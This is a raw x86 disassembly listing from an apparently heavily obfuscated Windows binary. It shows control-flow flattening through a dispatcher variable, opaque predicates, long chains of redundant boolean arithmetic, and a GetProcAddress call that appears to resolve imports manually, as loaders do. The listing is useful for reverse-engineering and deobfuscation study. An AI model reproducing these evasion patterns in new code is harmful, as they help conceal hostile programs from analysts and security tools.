mov edx, dword [ebp - 0x154]
mov eax, 0xfa7a8772
mov ecx, 0x6e6d3f89
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
imul ecx, ecx, 0x14
add eax, ecx
mov edx, dword [eax + 0x10]
mov ecx, dword [ebp - 0x90]
mov eax, 0x40e1d118
add eax, 0
sub eax, 0xacb01d27
sub eax, 0x40e1d118
add ecx, 0xc0797f18
add ecx, eax
sub ecx, 0xc0797f18
sub ecx, 0xa42f8dad
sub ecx, 0x152a013e
add ecx, 0xa42f8dad
xor eax, eax
sub eax, edx
sub ecx, eax
add ecx, 0x85d9ef86
add ecx, 0x152a013e
sub ecx, 0x85d9ef86
xor eax, eax
sub eax, ecx
add eax, 0
mov ecx, 0x1bed216
add ecx, 0
sub ecx, 0xacb01d27
sub ecx, 0x1bed216
add eax, 0xb10ae584
add eax, ecx
sub eax, 0xb10ae584
xor ecx, ecx
sub ecx, eax
add ecx, 0
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov dword [eax], 0
mov dword [ebp - 0x1b4], 0xbd16080c
jmp 0x4c0c7f
mov dl, byte [ebp - 0x7d]
mov eax, 0xdcc4bb04
mov ecx, 0x4f10be18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [ebp - 0x7c]
movzx eax, ax
mov ecx, dword [ebp - 0x154]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x75], al
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
mov edx, eax
add edx, 0x7c11d4e2
add edx, 0xe04d694
sub edx, 0x7c11d4e2
sub edx, 0xcc61cc02
sub edx, 0x382ffd7d
add edx, 0xcc61cc02
add edx, 0x7ac12d08
sub edx, 0xe04d694
sub edx, 0x7ac12d08
add edx, 0x87677a78
sub edx, 0x187497e4
sub edx, 0x87677a78
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x969dc6f5
add edx, 0x187497e4
add edx, 0x969dc6f5
add edx, 0xcde5dc57
sub edx, 0x3490e3d2
sub edx, 0xcde5dc57
sub edx, 0x77f831d2
add edx, 0x382ffd7d
add edx, 0x77f831d2
xor esi, esi
sub esi, 0x3490e3d2
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
mov byte [ebp - 0x732], ah
cmp ecx, 0xa
setl bl
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, bl
and al, ah
or dl, al
mov al, 1
xor al, 0
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
or al, ah
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, 1
xor cl, 0
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
mov bh, ah
and bh, 0
mov byte [ebp - 0x734], bh
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x733], al
mov al, byte [ebp - 0x734]
or dl, al
mov al, byte [ebp - 0x733]
or bh, al
mov al, byte [ebp - 0x732]
xor dl, bh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov ah, al
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov dl, 1
xor dl, 1
and dl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov ah, bl
and ah, ch
or cl, ah
xor cl, 0xff
mov ch, 1
xor ch, 1
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x72f], cl
xor bl, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bl, dl
or cl, 0
xor bl, 0xff
and bl, cl
mov dl, dh
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and dh, ah
mov byte [ebp - 0x731], dh
mov dh, ch
and dh, 0
and al, ah
mov byte [ebp - 0x730], al
mov al, byte [ebp - 0x731]
or cl, al
mov al, byte [ebp - 0x730]
or dh, al
mov al, byte [ebp - 0x72f]
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov byte [ebp - 0x72e], cl
mov dl, al
xor dl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and al, ah
mov dh, ch
and dh, 0
and bl, ah
or cl, al
mov al, byte [ebp - 0x72e]
or dh, bl
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov dl, bh
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ch, bh
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or ch, al
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or cl, bl
or al, dh
xor cl, al
mov byte [ebp - 0x72d], cl
mov dh, dl
xor dh, 0xff
mov bl, 1
xor bl, 1
mov al, 1
xor al, 0
or dh, bl
or al, 0
xor dh, 0xff
and dh, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, ch
xor al, 0xff
mov cl, 1
xor cl, 1
mov bl, 1
xor bl, 1
or al, cl
mov cl, byte [ebp - 0x72d]
or bl, 1
xor al, 0xff
and al, bl
mov byte [ebp - 0x72c], al
xor ah, 0xff
mov al, cl
xor al, 0xff
mov bl, 1
xor bl, 0
or ah, al
mov al, byte [ebp - 0x72c]
or bl, 0
xor ah, 0xff
and ah, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, bh
or al, bl
or ah, dh
xor al, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55b74a3
mov ecx, 0x71f88089
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x15c]
imul edx, dword [edx], 0x14
add ecx, edx
mov edx, dword [ecx + 0x10]
xor ecx, ecx
sub ecx, 0xcfb68330
add ecx, 0
sub ecx, 0xcaa97871
sub ecx, edx
add ecx, 0xcaa97871
sub ecx, 0x95960963
add ecx, 0xcfb68330
add ecx, 0x95960963
sub eax, 0x61004cc
add eax, 0x278ead17
add eax, 0x61004cc
add eax, 0x99bad3aa
sub eax, ecx
sub eax, 0x99bad3aa
add eax, 0xb1de30b4
sub eax, 0x278ead17
sub eax, 0xb1de30b4
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
shl edx, 2
xor ecx, ecx
sub ecx, 0xa9fcb37b
add ecx, 0
add ecx, 0x18360d3c
sub ecx, eax
sub ecx, 0x18360d3c
add ecx, 0x3de6ab98
add ecx, 0xa9fcb37b
sub ecx, 0x3de6ab98
xor esi, esi
sub esi, 0xfd4d2ebb
xor eax, eax
sub eax, esi
sub eax, 0x4942698
sub eax, edx
add eax, 0x4942698
sub eax, 0x4e3ec6cc
sub eax, 0xfd4d2ebb
add eax, 0x4e3ec6cc
mov edx, 0x4904a476
add edx, 0
sub edx, eax
sub edx, 0x4904a476
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, 0x85f97929
add eax, 0
add eax, 0x598d73f6
sub eax, 0x85f97929
add eax, 0xa77e166f
sub eax, ecx
sub eax, 0xa77e166f
sub eax, 0x1f77a969
sub eax, 0x598d73f6
add eax, 0x1f77a969
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x1b4], 0x6f447b55
jmp 0x4c0c7f
mov ecx, dword [0x6355c4]
mov eax, dword [0x6355c0]
xor esi, esi
sub esi, 0xfcd50cb8
mov edx, ecx
add edx, esi
xor esi, esi
sub esi, 0x605d9c63
sub edx, esi
add edx, 0x69224cf0
add edx, 0xfcd50cb8
sub edx, 0x69224cf0
sub edx, 0x388099aa
sub edx, 0x106f85b8
add edx, 0x388099aa
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0x92a83125
add edx, 0x106f85b8
sub edx, 0x92a83125
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x605bd33b
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x605d9c63
add edx, esi
add edx, 0xec5dc432
sub edx, 0x605bd33b
sub edx, 0xec5dc432
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
mov byte [ebp - 0x76d], bl
cmp eax, 0xa
setl ah
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
mov bh, 1
xor bh, 1
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, bh
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bh, dl
mov dh, ch
and dh, 0
and bl, dl
or al, bh
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0x757], al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, ch
or al, dl
xor bl, al
mov dh, ah
xor dh, 0xff
mov dl, bl
xor dl, 0xff
mov al, 1
xor al, 0
or dh, dl
or al, 0
xor dh, 0xff
and dh, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov ch, 1
xor ch, 0
mov al, dl
xor al, ch
and al, dl
mov dl, 1
xor dl, 1
xor bl, 0xff
mov ch, 1
xor ch, 0
or dl, bl
or ch, 0
xor dl, 0xff
and dl, ch
mov ch, cl
and ch, dh
xor cl, dh
or ch, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or dl, ch
or al, cl
xor dl, al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
xor dh, 0xff
xor dh, 0
and dh, 0
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov bl, 1
xor bl, 1
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
mov al, ch
and al, 1
mov byte [ebp - 0x774], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x773], al
mov al, byte [ebp - 0x774]
and ch, 1
or cl, al
mov al, byte [ebp - 0x773]
or al, ch
xor cl, al
xor cl, 0xff
mov ch, 1
xor ch, 0
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov al, 1
xor al, 1
xor bh, 0xff
mov ch, 1
xor ch, 0
or al, bh
or ch, 0
xor al, 0xff
and al, ch
mov ch, dh
and ch, bl
xor dh, bl
or ch, dh
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x770], dh
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
and dh, 0xff
and cl, bl
mov byte [ebp - 0x772], cl
mov cl, bh
and cl, 0xff
and al, bl
mov byte [ebp - 0x771], al
mov al, byte [ebp - 0x772]
or dh, al
mov al, byte [ebp - 0x771]
or cl, al
mov al, byte [ebp - 0x770]
xor dh, cl
mov cl, byte [ebp - 0x757]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or dh, al
mov bl, ch
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ch, dh
or al, ch
mov byte [ebp - 0x747], al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
and ch, 1
or cl, ch
mov ch, 1
xor ch, 0
and ch, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
mov byte [ebp - 0x76c], ch
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 0
mov bl, ch
and bl, 0
and al, dh
mov byte [ebp - 0x76f], al
mov al, bh
and al, 0
mov byte [ebp - 0x76e], al
mov al, byte [ebp - 0x76f]
and cl, dh
or bl, al
mov al, byte [ebp - 0x76e]
or al, cl
mov cl, byte [ebp - 0x76d]
xor bl, al
mov al, byte [ebp - 0x76c]
or ch, bh
xor ch, 0xff
or dh, 0
and ch, dh
or bl, ch
mov ch, al
and ch, 0
xor al, 0
or ch, al
mov bh, bl
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bh, bl
mov bl, byte [ebp - 0x747]
or al, dh
xor bh, al
xor bh, 0xff
xor ch, 0xff
mov al, 1
xor al, 1
or bh, ch
or al, 1
xor bh, 0xff
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x76b], al
mov al, 1
xor al, 1
mov bl, cl
and bl, al
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, al
mov al, byte [ebp - 0x76b]
or al, bl
or ch, dh
xor al, ch
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov bl, dl
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov al, dh
and al, bl
xor dh, bl
or al, dh
mov byte [ebp - 0x766], al
mov dh, 1
xor dh, 0
mov byte [ebp - 0x767], dh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x768], al
mov bl, 1
xor bl, 0
and dh, 0
mov al, bl
and al, 0
mov byte [ebp - 0x76a], al
mov al, byte [ebp - 0x768]
and al, 0
mov byte [ebp - 0x769], al
mov al, byte [ebp - 0x76a]
and cl, bl
or dh, al
mov al, byte [ebp - 0x769]
or al, cl
mov cl, byte [ebp - 0x768]
xor dh, al
mov al, byte [ebp - 0x767]
or al, cl
mov cl, byte [ebp - 0x766]
xor al, 0xff
or bl, 0
and al, bl
or dh, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
and cl, al
mov al, byte [ebp - 0x747]
or bl, cl
xor bl, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or bl, dh
or cl, 1
xor bl, 0xff
and bl, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ah, dh
or cl, ah
mov dh, al
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and al, ah
mov byte [ebp - 0x765], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x764], al
mov al, byte [ebp - 0x765]
and ah, 1
or dh, al
mov al, byte [ebp - 0x764]
or al, ah
xor dh, al
mov byte [ebp - 0x763], dh
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x75d], al
xor dh, 0xff
mov byte [ebp - 0x75e], dh
mov dh, 1
xor dh, 0
and al, 0
mov byte [ebp - 0x762], al
mov al, byte [ebp - 0x75e]
and cl, dh
and al, 0
mov byte [ebp - 0x761], al
mov al, byte [ebp - 0x763]
and al, dh
mov byte [ebp - 0x760], al
mov al, byte [ebp - 0x762]
or al, cl
mov cl, byte [ebp - 0x761]
mov byte [ebp - 0x75f], al
mov al, byte [ebp - 0x760]
or cl, al
mov al, byte [ebp - 0x75f]
xor al, cl
mov cl, byte [ebp - 0x75e]
mov byte [ebp - 0x75c], al
mov al, byte [ebp - 0x75d]
or al, cl
mov cl, byte [ebp - 0x75c]
xor al, 0xff
or dh, 0
and al, dh
or cl, al
mov al, ah
and al, 1
xor ah, 1
or al, ah
mov byte [ebp - 0x75b], al
mov al, cl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and cl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or al, cl
mov cl, byte [ebp - 0x75b]
or ah, dh
xor al, ah
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bh
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x75a], al
mov ah, bh
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and bh, al
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, al
mov al, byte [ebp - 0x75a]
or ah, bh
or cl, ch
xor ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, dh
xor ah, 0xff
mov al, bl
xor al, ah
and al, bl
mov ch, bl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, bh
or ch, bl
or ah, dh
xor ch, ah
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or dh, al
mov al, 1
xor al, 1
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov dh, 1
xor dh, 1
and dh, 1
mov ch, 1
xor ch, 1
and ch, 1
or dh, ch
xor cl, 0xff
mov bl, dh
xor bl, 0xff
mov ch, 1
xor ch, 1
or cl, bl
or ch, 1
xor cl, 0xff
and cl, ch
mov ch, ah
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
mov bl, ah
and bl, bh
or ch, bl
mov bl, 1
xor bl, 1
mov bh, ch
xor bh, bl
and bh, ch
xor ah, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x756], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 0
mov dh, ah
and dh, 0
and al, ch
mov byte [ebp - 0x759], al
mov al, bl
and al, 0
mov byte [ebp - 0x758], al
mov al, byte [ebp - 0x759]
and cl, ch
or dh, al
mov al, byte [ebp - 0x758]
or al, cl
mov cl, byte [ebp - 0x757]
xor dh, al
mov al, byte [ebp - 0x756]
or ah, bl
xor ah, 0xff
or ch, 0
and ah, ch
or dh, ah
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x753], ch
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
and ch, 0
and bh, ah
mov byte [ebp - 0x755], bh
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0x754], al
mov al, byte [ebp - 0x755]
or ch, al
mov al, byte [ebp - 0x754]
or bh, al
mov al, byte [ebp - 0x753]
xor ch, bh
or al, bl
xor al, 0xff
or ah, 0
and al, ah
or ch, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0x748], al
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, cl
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, dl
and al, dh
or ch, al
mov bl, 1
xor bl, 1
and bl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bl, bh
or al, dh
xor bl, al
mov byte [ebp - 0x74b], bl
mov dh, 1
xor dh, 1
mov al, ah
xor al, dh
and al, ah
xor cl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 1
or cl, bl
or dh, 1
xor cl, 0xff
and cl, dh
mov dh, ch
xor dh, 0xff
mov bl, 1
xor bl, 1
mov bh, 1
xor bh, 1
or dh, bl
mov bl, byte [ebp - 0x74b]
or bh, 1
xor dh, 0xff
and dh, bh
mov byte [ebp - 0x74f], dh
xor dl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 1
or dl, bl
or dh, 1
xor dl, 0xff
and dl, dh
mov byte [ebp - 0x750], dl
mov dh, al
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dl, dh
and dl, 0
and al, bl
mov byte [ebp - 0x752], al
mov al, bh
and al, 0
mov byte [ebp - 0x751], al
mov al, byte [ebp - 0x752]
and cl, bl
or dl, al
mov al, byte [ebp - 0x751]
or al, cl
mov cl, byte [ebp - 0x750]
xor dl, al
mov al, byte [ebp - 0x74f]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or dl, dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x74c], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
and dh, 0xff
and al, bl
mov byte [ebp - 0x74e], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x74d], al
mov al, byte [ebp - 0x74e]
and cl, bl
or dh, al
mov al, byte [ebp - 0x74d]
or al, cl
mov cl, byte [ebp - 0x74c]
xor dh, al
mov al, byte [ebp - 0x74b]
or cl, bh
xor cl, 0xff
or bl, 1
and cl, bl
or dh, cl
mov bl, dl
xor bl, 0xff
mov cl, dh
and cl, bl
xor dh, 0xff
and dl, dh
or cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dl, ch
or ah, dl
mov dl, 1
xor dl, 1
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, dl
and dh, 0
mov ch, bl
and ch, 1
mov byte [ebp - 0x74a], ch
mov ch, bh
and ch, 0
and al, bl
mov byte [ebp - 0x749], al
mov al, byte [ebp - 0x74a]
or dh, al
mov al, byte [ebp - 0x749]
or ch, al
mov al, byte [ebp - 0x748]
xor dh, ch
mov ch, byte [ebp - 0x747]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or dh, dl
xor ah, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or ah, dh
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, dl
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
mov bl, dl
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, bl
or ah, dh
xor cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
and ah, 1
or dh, ah
xor dl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 1
or dl, dh
or ah, 1
xor dl, 0xff
and dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, 1
xor cl, 1
mov dh, ch
xor dh, 0xff
mov dl, 1
xor dl, 1
or cl, dh
or dl, 1
xor cl, 0xff
and cl, dl
mov dh, 1
xor dh, 1
mov dl, ch
and dl, dh
xor ch, 0xff
and ch, 1
or dl, ch
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov ch, dh
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov dl, ah
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
mov dh, ah
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bl
or dl, dh
or cl, ch
xor dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 1
or bl, ah
or dl, 1
xor bl, 0xff
and bl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5bfe1cc1
mov ecx, 0x40f67614
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x8809821f
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x298fa874
jmp 0x4c0c7f
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
add eax, 4
add eax, 2
mov dword [ebp - 0x5c], eax
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
mov edx, eax
sub edx, 0x71974ff6
add edx, 0x5c624db
add edx, 0x71974ff6
sub edx, 0x77d833b8
sub edx, 0xf50603b0
add edx, 0x77d833b8
add edx, 0xdb01921c
sub edx, 0x5c624db
sub edx, 0xdb01921c
xor esi, esi
sub esi, 0xd1123fae
sub edx, esi
sub edx, 0xf2999f14
sub edx, 1
add edx, 0xf2999f14
sub edx, 0x8f9c4bea
sub edx, 0xd1123fae
add edx, 0x8f9c4bea
xor esi, esi
sub esi, 0x4766f2e4
sub edx, esi
add edx, 0x1a387f67
add edx, 0xf50603b0
sub edx, 0x1a387f67
sub edx, 0x5f8e9950
sub edx, 0x4766f2e4
add edx, 0x5f8e9950
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl dh
mov ah, dh
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, dh
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
mov dl, al
xor dl, 0xff
mov cl, ah
and cl, dl
xor ah, 0xff
mov dl, al
and dl, ah
or cl, dl
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dl, al
and dl, ch
or ah, dl
mov bh, dh
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, dh
xor dl, 0xff
and dl, 1
